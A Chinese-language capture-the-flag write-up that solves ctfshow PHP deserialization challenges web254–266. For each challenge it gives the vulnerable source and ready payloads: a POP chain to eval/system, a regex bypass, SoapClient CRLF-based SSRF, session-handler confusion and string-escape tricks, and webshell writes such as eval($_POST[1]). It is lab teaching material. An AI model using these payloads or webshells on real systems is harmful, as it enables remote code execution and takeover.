WEB入门——反序列化

web254

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

和反序列化没有什么关系
POST:

username=xxxxxx&password=xxxxxx

web255

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

难点:在类里面没有对isVip属性进行赋值true
解决:所以我们需要想办法把isVip赋值成true才能获得flag
cookie中的user进行反序列化,可以往这里传入序列化的字符串,通过反序列化把isVip赋值成true

<?php  
    class ctfShowUser{  
        public $username='xxxxxx';  
        public $password='xxxxxx';  
        public $isVip=true;  
    }  
  
    $a = new ctfShowUser();  
    echo serialize($a);  
?>

运行:

O:11:"ctfShowUser":3:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:1;}

GET:

?username=xxxxxx&password=xxxxxx

COOKIE:
注意要URL编码

user=O%3a11%3a%22ctfShowUser%22%3a3%3a%7bs%3a8%3a%22username%22%3bs%3a6%3a%22xxxxxx%22%3bs%3a8%3a%22password%22%3bs%3a6%3a%22xxxxxx%22%3bs%3a5%3a%22isVip%22%3bb%3a1%3b%7d

WEB入门——反序列化.png

web256

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

在获取flag的时候多了一层判断,即用户名和密码不一样
改一下账号和密码就好了

<?php  
    class ctfShowUser{  
        public $username='ddxl';  
        public $password='123456';  
        public $isVip=true;  
    }  
  
    $a = new ctfShowUser();  
    echo serialize($a);  
?>

运行:

O:11:"ctfShowUser":3:{s:8:"username";s:4:"ddxl";s:8:"password";s:6:"123456";s:5:"isVip";b:1;}

GET:

?username=ddxl&password=123456

COOKIE:

user=O%3a11%3a%22ctfShowUser%22%3a3%3a%7bs%3a8%3a%22username%22%3bs%3a4%3a%22ddxl%22%3bs%3a8%3a%22password%22%3bs%3a6%3a%22123456%22%3bs%3a5%3a%22isVip%22%3bb%3a1%3b%7d

web257

<?php
error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

反序列化的时候会先实例化info这个类,接着再销毁的时候调用类中的getInfo方法
很显然调用的是类info中的getInfo方法
而我们需要调用类backDoor中的getInfo方法,因为其中含有eval可以命令执行

<?php  
    class ctfShowUser{  
        private $class='backDoor';  
        public function __construct(){  
            $this->class=new backDoor();  
        }  
    }  
    class backDoor{  
        private $code='system("cat flag.php");';  
    }  
  
    $a = new ctfShowUser();  
    echo urlencode(serialize($a));  
?>

GET:

?username=xxxxxx&password=xxxxxx

COOKIE:

user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%22cat+flag.php%22%29%3B%22%3B%7D%7D

总结:
序列化不是“只序列化当前类”, 而是“把对象里引用到的所有对象,一起打包”。
问题1:
明明有两个类:ctfShowUserbackDoor
我只 serialize($a)ctfShowUser
为啥 backDoor 也被序列化进去了?
解答1:

$this->class = new backDoor();

这句话的真实含义是:ctfShowUser 这个对象里,装着一个 backDoor 对象
实际结构:

$a (ctfShowUser 对象)
│
└── $class ──> backDoor 对象
                  │
                  └── $code = 'system("cat flag.php");'

查看类的详细信息

<?php  
    class ctfShowUser{  
        private $class='woshizhanzuode';  
        public function __construct(){  
            $this->class=new backDoor();  
        }  
    }  
    class backDoor{  
        private $code='system("cat flag.php");';  
    }  
  
    $a = new ctfShowUser();  
    var_dump($a);
    // echo urlencode(serialize($a));  
?>

结果:

object(ctfShowUser)#1 (1) {
  ["class":"ctfShowUser":private]=>
  object(backDoor)#2 (1) {
    ["code":"backDoor":private]=>
    string(23) "system("cat flag.php");"
  }
}

问题2:
为什么有无以下代码序列化以后的结果都一样

        public function getInfo(){
        eval($this->code);
    }

解答2:
PHP 的 serialize() 只序列化对象的状态(属性),完全不关心类里有哪些方法。所以有没有 getInfo() 方法,对序列化结果没有任何影响
序列化干的是:把“实体里的数据”打包带走
而不是:把说明书复印一份

问题3:
对象“被销毁”的所有常见情况?
解答3:
对象的 __destruct() 会在以下时机被调用:
1.对象“没有任何变量引用它了”

$user = new A();
$user = null;   // 立刻触发 __destruct()

2.脚本执行结束(最常见、CTF 核心点)

// PHP 文件执行到末尾

所有仍然存在的对象都会被销毁
3.unset($object)

unset($user);   // 立刻触发 __destruct()

4.程序异常终止(Fatal error / die / exit)

die();
exit();

总结:
反序列化不会调用构造函数,但一定会调用析构函数

┌────────────────────┐
│  unserialize()     │   ← 可控 Cookie
└─────────┬──────────┘
          ↓
┌────────────────────┐
│ ctfShowUser 对象   │
│  private $class    │  ← 可控
└─────────┬──────────┘
          ↓
┌────────────────────┐
│ __destruct()       │
│ $this->class       │
│   ->getInfo()      │
└─────────┬──────────┘
          ↓
┌────────────────────┐
│ backDoor 对象      │
│ getInfo()          │
│   eval($code)      │
└─────────┬──────────┘
          ↓
┌────────────────────┐
│ system("cat flag") │
└────────────────────┘

web258

<?php
error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

分析:
正则表达式:preg_match('/[oc]:\d+:/i', $_COOKIE['user'])
1.[oc]:字符集合
2.::字面量冒号
3.\d+:数字至少 1 位
为什么它会盯上这个格式?因为 PHP 序列化长这样 👇
对象(object)

O:11:"ctfShowUser":1:{...}

自定义序列化(Serializable 接口)

C:11:"SomeClass":...

解决:
使用O:+代替O:

<?php
class ctfShowUser
{
    public $class = 'backDoor';

    public function __construct(){
        $this->class=new backDoor();
    }
}

class backDoor{
    public $code = 'system("tac flag.php");';
    
}

$a = new ctfShowUser();
$a = serialize($a);
$a = str_replace("O:","O:+",$a);
echo urlencode($a);
?>

长这样了:

O:+11:"ctfShowUser":1:{s:5:"class";O:+8:"backDoor":1:{s:4:"code";s:23:"system("tac flag.php");";}}

最终:
GET:

?username=xxxxxx&password=xxxxxx

COOKIE:

O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%22tac+flag.php%22%29%3B%22%3B%7D%7D

解释:
PHP 内部的行为
在反序列化时,PHP 会把长度字段当成:

(int) "+11"

而在 PHP 中:

(int) "+11" === 11

web259

index.php

<?php

highlight_file(__FILE__);


$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

flag.php

<?php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);

if($ip!=='127.0.0.1'){
    die('error');
}else{
    $token = $_POST['token'];
    if($token=='ctfshow'){
        file_put_contents('flag.txt',$flag);
    }
}

考点:SoapClient反序列化+CRLF漏洞
Deserialization + __call + SoapClient + CRLF = SSRF

解决:

<?php

$ua="ctfshow\nX-Forwarded-For:127.0.0.1,127.0.0.1\nContent-Type: application/x-www-form-urlencoded\nContent-Length:13\n\ntoken=ctfshow";
$client = new SoapClient(NULL,array('uri'=>"http://127.0.0.1","location"=>"http://127.0.0.1/flag.php","user_agent"=>$ua));

echo urlencode(serialize($client));

GET:

vip=O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A16%3A%22http%3A%2F%2F127.0.0.1%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A124%3A%22ctfshow%0AX-Forwarded-For%3A127.0.0.1%2C127.0.0.1%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0AContent-Length%3A13%0A%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

访问

/flag.txt

解析:
SoapClient
SoapClient采用了HTTP作为底层通讯协议,XML作为数据传送的格式,其采用了SOAP协议(SOAP是一种简单的基于 XML 的协议,它使应用程序通过 HTTP 来交换信息。
调用不存在的方法:使SoapClient类去调用__call方法
例子:
我先监听一下本地端口:

nc -lvvp 5555

运行:

<?php  
    $a = new SoapClient(null,array('uri'=>'aaa', 'location'=>'http://127.0.0.1:5555/path'));   
    $a->dxl666666();

本地端口5555接受:

C:\Users\Lenovo>nc -lvvp 5555
listening on [any] 5555 ...
connect to [127.0.0.1] from localhost.sangfor.com.cn [127.0.0.1] 39797
POST /path HTTP/1.1
Host: 127.0.0.1:5555
Connection: Keep-Alive
User-Agent: PHP-SOAP/8.2.9
Content-Type: text/xml; charset=utf-8
SOAPAction: "aaa#dxl666666"
Content-Length: 372

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="aaa" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:dxl666666/></SOAP-ENV:Body></SOAP-ENV:Envelope>

CRLF漏洞
CRLF是”回车 + 换行”(\r\n)的简称。
在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLF Injection又叫HTTP Response Splitting,简称HRS

看上图本地端口5555接受结果,SOAPAction是可控的点,我们注入两个\r\n来控制POST请求头

<?php  
    $a = new SoapClient(null,array('uri'=>"aaa\r\n\r\nbbb\r\n", 'location'=>'http://127.0.0.1:5555/path'));  
    $a->dxl666666();
C:\Users\Lenovo>nc -lvvp 5555
listening on [any] 5555 ...
connect to [127.0.0.1] from localhost.sangfor.com.cn [127.0.0.1] 65265
POST /path HTTP/1.1
Host: 127.0.0.1:5555
Connection: Keep-Alive
User-Agent: PHP-SOAP/8.2.9
Content-Type: text/xml; charset=utf-8
SOAPAction: "aaa

bbb
#dxl666666"
Content-Length: 393

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="aaa&#13;
&#13;
bbb&#13;
" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:dxl666666/></SOAP-ENV:Body></SOAP-ENV:Envelope>

可见成功控制了请求头
POST数据指定请求头为Content-Type:application/x-www-form-urlencoded,我们需要控制Content-Type,但从上图中可以发现它位于SOAPAtion上方。
继续往上,可以发现User-Agent位于Content-Type上方,这个位置也可以进行注入,所以我们再User-Agent进行注入

<?php  
	$post_string = "ddxl=666666";  
    $a = new SoapClient(null,array('location'=>'http://127.0.0.1:5555/path', 'user_agent'=>"ddxl\r\nContent-Type:application/x-www-form-urlencoded\r\n"."Content-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string, 'uri'=>"aaa"));  
    $a->dxl666666();

返回:

C:\Users\Lenovo>nc -lvvp 5555
listening on [any] 5555 ...
connect to [127.0.0.1] from localhost.sangfor.com.cn [127.0.0.1] 59545
POST /path HTTP/1.1
Host: 127.0.0.1:5555
Connection: Keep-Alive
User-Agent: ddxl
Content-Type:application/x-www-form-urlencoded
Content-Length: 11

ddxl=666666
Content-Type: text/xml; charset=utf-8
SOAPAction: "aaa#dxl666666"
Content-Length: 372

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="aaa" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:dxl666666/></SOAP-ENV:Body></SOAP-ENV:Envelope>

构造任意post请求成功
测试题目,先假设为5555端口:

<?php  
	$post_string = "ddxl=666666";  
    $ua="ctfshow\nX-Forwarded-For:127.0.0.1,127.0.0.1\nContent-Type: application/x-www-form-urlencoded\nContent-Length:13\n\ntoken=ctfshow";
    $a = new SoapClient(NULL,array('uri'=>"http://127.0.0.1","location"=>"http://127.0.0.1:5555/flag.php","user_agent"=>$ua));
    $a->dxl666666();

返回:

C:\Users\Lenovo>nc -lvvp 5555
listening on [any] 5555 ...
connect to [127.0.0.1] from localhost.sangfor.com.cn [127.0.0.1] 32192
POST /flag.php HTTP/1.1
Host: 127.0.0.1:5555
Connection: Keep-Alive
User-Agent: ctfshow
X-Forwarded-For:127.0.0.1,127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length:13

token=ctfshow
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://127.0.0.1#dxl666666"
Content-Length: 385

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://127.0.0.1" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:dxl666666/></SOAP-ENV:Body></SOAP-ENV:Envelope>

这里X-Forwarded-For里面需要两个127.0.0.1的原因是docker环境cloudfare代理所导致

web260

<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
    echo $flag;
}
?ctfshow=ctfshow_i_love_36D

serialize后输出

s:18:"ctfshow_i_love_36D";

web261

<?php

highlight_file(__FILE__);

class ctfshowvip{
    public $username;
    public $password;
    public $code;

    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function __wakeup(){
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){
        eval($this->code);
    }

    public function __sleep(){
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}

unserialize($_GET['vip']);
$this->code = $this->username.$this->password;

0x36d十进制就等于877,因为是弱类型比较,像877a等都可以通过
拼接后:877.php<?php eval($_POST[1]) ?>就能通过

<?php
	class ctfshowvip{
		public $username;
		public $password;

		public function __construct($u,$p){
			$this->username=$u;
			$this->password=$p;
		}
	}

	$a = new ctfshowvip('877.php','<?php eval($_POST[1]) ?>');
	echo urlencode(serialize($a));

访问:

/877.php

web263

WEB入门——反序列化-1.png
index.php

<?php
	error_reporting(0);
	session_start();
	//超过5次禁止登陆
	if(isset($_SESSION['limit'])){
		$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
		$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
	}else{
		 setcookie("limit",base64_encode('1'));
		 $_SESSION['limit']= 1;
	}
?>
<script>
	function check(){
		$.ajax({
		url:'check.php',
		type: 'GET',
		data:{
			'u':$('#u').val(),
			'pass':$('#pass').val()
		},
		success:function(data){
			alert(JSON.parse(data).msg);
		},
		error:function(data){
			alert(JSON.parse(data).msg);
		}
	});
	}
</script>

check.php

<?php
error_reporting(0);
require_once 'inc/inc.php';
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);

if($GET){

	$data= $db->get('admin',
	[	'id',
		'UserName0'
	],[
		"AND"=>[
		"UserName0[=]"=>$GET['u'],
		"PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破
		]
	]);
	if($data['id']){
		//登陆成功取消次数累计
		$_SESSION['limit']= 0;
		echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0']));
	}else{
		//登陆失败累计次数加1
		$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);
		echo json_encode(array("error","msg"=>"登陆失败"));
	}
}


inc/inc.php

<?php
error_reporting(0);
ini_set('display_errors', 0);
ini_set('session.serialize_handler', 'php');
date_default_timezone_set("Asia/Shanghai");
session_start();
use \CTFSHOW\CTFSHOW; 
require_once 'CTFSHOW.php';
...
省略
...
class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }
}

分析:
inc/inc.php 存在 ini_set('session.serialize_handler', 'php'); session_start(); ,只要访问即会获取之前写入的 session 数据

1.ini_set('session.serialize_handler', 'php');
注意这里设置cookie的时候没有设置seesion序列化选择器的,就是php.ini中配置的序列化选择器。回顾下三种选择器
选择器样例:

$_SESSION['name'] = 'ocean';

1.php_serialize
存储格式:
经过serialize()函数序列化数组
例子:

a:1:{s:4:"name";s:5:"ocean";}

2.php(默认)
存储格式:
键名竖线经过serialize()函数处理的值
例子:

name|s:5:"ocean";

3.php_binary
存储格式:
键名的长度对应的asci字符键名serialize0函数序列化的值
例子:

name s:6:"spoock";

注意:
inc.php 中却单独声明使用了 php 序列化选择器:session.serialize_handler: php
应该出题人改了默认的选择器,复盘也发现是这样的:session.serialize_handler: php_serialize
Session 反序列化漏洞(如 CTF 题目 ctfshow web263)中,关键前提就是:写入 Session 时用一种格式(如 php_serialize),读取时用另一种格式(如 php)→ 导致解析错位,从而触发反序列化任意对象。
默认不是用 php 引擎,所以写入是正常字符串,在 ​​inc/inc.php​​ 这读取语义又不一样了

在 ​​inc/inc.php中

var_export($_SESSION);

返回:

array (
  'a:1:{s:5:"limit";s:112:"' => 
  User::__set_state(array(
     'username' => '1.php',
     'password' => '<?php @eval($_POST["lcycb"]);?>',
     'status' => NULL,
  )),
)

这说明:
$ _SESSION的 key 是 'a:1:{s:5:"limit";s:112:"',value 是一个 User 对象!
WEB入门——反序列化-2.png
原来的payload的也正好112个,更能验证一开始limit=|O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:31:"<?php @eval($_POST["lcycb"]);?>";s:6:"status";N;},这部分被序列化存储在session了

2.session_start();
session_start() 触发反序列化是因为 PHP 会从存储的会话数据中读取序列化的对象,并自动将它们反序列化为 PHP 对象。只要在会话中存储了一个对象(如 User 对象),当会话数据被加载时,PHP 就会重建该对象并调用相关方法(例如 __destruct),如果对象中包含恶意代码,就会执行这些恶意代码。

cookie中的limit进行base64解码之后传入session中
之后调用inc中的User类,并且其中这个User类中存在文件写入函数,所以写入一句话即可

<?php
class User
{
  public $username;
  public $password;
  public $status;
  // 构造函数,用于初始化对象的属性
  function __construct($username, $password)
  {
    $this->username = $username;
    $this->password = $password;
  }
}
$a = new User('1.php', '<?php @eval($_POST["lcycb"]);?>');
echo '|'.serialize($a);
echo base64_encode('|'.serialize($a)); // 序列化并对结果进行 Base64 编码
import requests  
url = "http://3c20dcf4-e154-4f1f-9488-fecd972e8dd4.challenge.ctf.show/"  
cookies = {"PHPSESSID": "n13jgh4egq7v2a2cte6qe1b73u", "limit": "fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czozMToiPD9waHAgQGV2YWwoJF9QT1NUWyJsY3ljYiJdKTs/PiI7czo2OiJzdGF0dXMiO047fQ"}  
res1 = requests.get(url + "index.php", cookies=cookies)
res1 = requests.get(url + "index.php", cookies=cookies)  
res2 = requests.get(url + "inc/inc.php", cookies=cookies)  
res3 = requests.get(url + "log-1.php", cookies=cookies)

总结:
漏洞点:
默认的选择器:session.serialize_handler: php_serialize
inc.php 中却单独声明选择器:session.serialize_handler: php

步骤:
1.先访问1次index.php,先setcookie设置一下

setcookie("limit",base64_encode('1'));
$_SESSION['limit']= 1;

2.再次访问index.php,让shell存进SESSION去

$_SESSION['limit']=base64_decode($_COOKIE['limit']);

3.然后带着这个SESSION去访问inc/inc.php,触发写入恶意代码到log-1.php
4.蚁剑连接log-1.php

web262

index.php

<?php
error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

message.php

<?php
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

有一个正则会把传入的序列化内容中的fuck替换成loveU,也就是长度从4变成了5,我们可以操作的内容就多了一位
并且只要message类中的token的值为admin,就会输出flag
我们的payload需要如下形式:

";s:5:"token";s:5:"admin";}

构造的payload长度一共27位,所以我们需要输入27个fuck来获得额外的27个长度,以达到填充我们的字符的目的

?f=123&m=123&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

然后再访问message.php就可以输入flag

解释:
PHP 序列化是“靠长度对齐的”
PHP 的序列化格式长这样:

s:3:"abc";

意思是:接下来有 3 个字符,必须严格对齐
如果你告诉 PHP:

s:3:"abcde";

那 PHP 会:读 abc,剩下的 de"; 会被当成“新结构”

你真正干的事不是:“把 token 改成 admin”
而是:“让 PHP 解析器读错边界,把你后面的字符串当成新属性”

目的是让public $token='admin';

<?php
class message{
    public $from;
    public $msg;
    public $to;
    public $token='admin';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$msg = new message("1","2",'fuck');
echo serialize($msg);

返回:

O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:4:"fuck";s:5:"token";s:5:"admin";}

要构造出:

;s:5:"token";s:5:"admin";}

后面的字符,一共27位:

";s:5:"token";s:5:"admin";}

于是需要多出来 27 个字符空间
27 个 fuck → 多出 27 个字符

fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck

思路2:
在cookie中给msg传入message序列化后进行base64编码的值,只要把token值设置为admin就好了

<?php

class message{
    public $token='admin';
}

echo base64_encode(serialize(new message()));

返回:

Tzo3OiJtZXNzYWdlIjoxOntzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9

Cookie:

msg=Tzo3OiJtZXNzYWdlIjoxOntzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9

访问/message.php

web264

index.php

<?php
error_reporting(0);
session_start();

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    $_SESSION['msg']=base64_encode($umsg);
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

message.php

<?php
session_start();
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_SESSION['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

解决:用之前的payload打,不过访问message.php的时候需要coookie中的msg有值
原因:
index.php:session_start();
message.php:$_SESSION['msg']
先访问index.php,给$_SESSION['msg']赋值

index.php?f=123&m=123&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

再访问:

message.php

COOKIE:

msg=111

WEB入门——反序列化-4.png

web265

<?php
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
    echo $flag;
}

难点:这里token是强等于,且md5随机数
解决:token指向password指向的"地址"

<?php
class ctfshowAdmin{
    public $token;
    public $password;
}
$a = new ctfshowAdmin();
$a ->token=&$a ->password;
echo urlencode(serialize($a));

GET:

?ctfshow=O%3A12%3A"ctfshowAdmin"%3A2%3A{s%3A5%3A"token"%3BN%3Bs%3A8%3A"password"%3BR%3A2%3B}

web266

<?php
 
highlight_file(__FILE__);
 
include('flag.php');
$cs = file_get_contents('php://input');
 
 
class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function login(){
        return $this->username===$this->password;
    }
    public function __toString(){
        return $this->username;
    }
    public function __destruct(){
        global $flag;
        echo $flag;
    }
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
    throw new Exception("Error $ctfshowo",1);
}

解决:绕过ctfshow就可以拿到在销毁时拿到flag
file_get_contents("php://input"):获取非enctype="multipart/form-data"提交过来的数据

<?php
class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function login(){
        return $this->username===$this->password;
    }
}

$a = serialize(new ctfshow());
echo $a;

返回:

O:7:"ctfshow":2:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}

改成大写

O:7:"CTFSHOW":2:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}

直接POST传参
WEB入门——反序列化-5.png
返回结果

解析:
